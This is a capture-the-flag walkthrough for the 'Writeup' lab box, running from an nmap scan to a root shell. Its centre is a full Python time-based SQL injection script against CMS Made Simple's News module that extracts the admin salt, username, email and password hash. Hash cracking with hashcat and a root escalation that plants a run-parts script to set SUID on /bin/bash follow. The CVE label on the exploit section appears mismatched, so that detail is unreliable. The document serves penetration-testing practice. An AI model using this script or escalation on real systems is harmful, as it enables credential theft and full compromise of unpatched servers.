Explore the fundamentals of cybersecurity in the Writeup Capture The Flag (CTF) challenge, an easy-level experience, ideal for beginners! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible and perfect for those new to CTFs.

Add Hosts#

Edit the /etc/hosts file and add the following entries:

10.10.10.138 writeup.htb

This ensures that your system can resolve the domain names writeup.htb to the correct IP address 10.10.10.138.

Script to add hosts automatically#

ip="10.10.10.138"
domain="writeup.htb"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts

Mapping#

nmap -sCV writeup.htb

Starting Nmap 7.95 ( https://nmap.org ) at 2024-09-14 20:05 CEST
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (0.054s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry 
|_/writeup/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Identifying the CMS#

Use curl to identify the CMS:

curl -s 'http://writeup.htb/writeup/' | grep 'CMS'

Output:

<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />

Exploiting CVE-2022-41544#

Start a listener for reverse shell access:

nc -lvnp 9001

Use the following Python script to exploit a time-based SQL injection vulnerability:

#!/bin/python

import requests
import time
import optparse
import hashlib
import subprocess

try:
    from termcolor import colored
    from termcolor import cprint
except:
    print("[-] Termcolor Not Found\nInstalling...")
    subprocess.call(["pip3", "install", "termcolor"])

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
options, args = parser.parse_args()
if not options.url:
    print("[+] Specify an url target")
    print("[+] Example usage: exploit.py -u http://target-uri")
    print("[+] Setup the variable TIME with an appropriate time, because this SQL injection is time-based.")
    exit()

url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 1
db_name = ""
output = ""
email = ""
salt = ''

def beautify_print_try(value):
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])
    cprint('[*] Try: ' + value, 'red', attrs=['bold'])

def beautify_print():
    global output
    print("\033c")
    cprint(output, 'green', attrs=['bold'])

def dump_salt():
    global flag
    global salt
    global output
    ord_salt = ""
    ord_salt_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_salt = salt + dictionary[i]
            ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_salt)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp \
                      + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            salt = temp_salt
            ord_salt = ord_salt_temp
    flag = True
    output += '\n[+] Salt for password found: ' + salt

def dump_password():
    global flag
    global password
    global output
    ord_password = ""
    ord_password_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_password = password + dictionary[i]
            ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_password)
            payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
            payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            password = temp_password
            ord_password = ord_password_temp
    flag = True
    output += '\n[+] Password hash found: ' + password

def dump_username():
    global flag
    global db_name
    global output
    ord_db_name = ""
    ord_db_name_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_db_name = db_name + dictionary[i]
            ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_db_name)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            db_name = temp_db_name
            ord_db_name = ord_db_name_temp
    output += '\n[+] Username found: ' + db_name
    flag = True

def dump_email():
    global flag
    global email
    global output
    ord_email = ""
    ord_email_temp = ""
    while flag:
        flag = False
        for i in range(0, len(dictionary)):
            temp_email = email + dictionary[i]
            ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
            beautify_print_try(temp_email)
            payload = "a,b,1,5))+and+(select+sleep(" + str(
                TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
            url = url_vuln + "&m1_idlist=" + payload
            start_time = time.time()
            r = session.get(url)
            elapsed_time = time.time() - start_time
            if elapsed_time >= TIME:
                flag = True
                break
        if flag:
            email = temp_email
            ord_email = ord_email_temp
    output += '\n[+] Email found: ' + email
    flag = True

dump_salt()
dump_username()
dump_email()
dump_password()

beautify_print()

Make the script executable and run it:

chmod +x 46635
./46635 -u http://writeup.htb/writeup/

Extract the salt, username, email, and password hash. Crack the password using hashcat:

Brute Force the Hash with Salt#

echo -n "Password Hash:Salt? -->" ; read hash
echo "$hash" > /tmp/hash.txt
hashcat -m 20 -a 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
hashcat /tmp/hash.txt --show
rm -rf /tmp/hash.txt

Gaining Shell Access#

SSH into the target machine:

ssh jkr@writeup.htb

Create a script for privilege escalation:

echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /usr/local/bin/run-parts; chmod +x /usr/local/bin/run-parts

Log out and log back in to trigger the script execution:

ssh jkr@writeup.htb
/bin/bash -p
cat /root/root.txt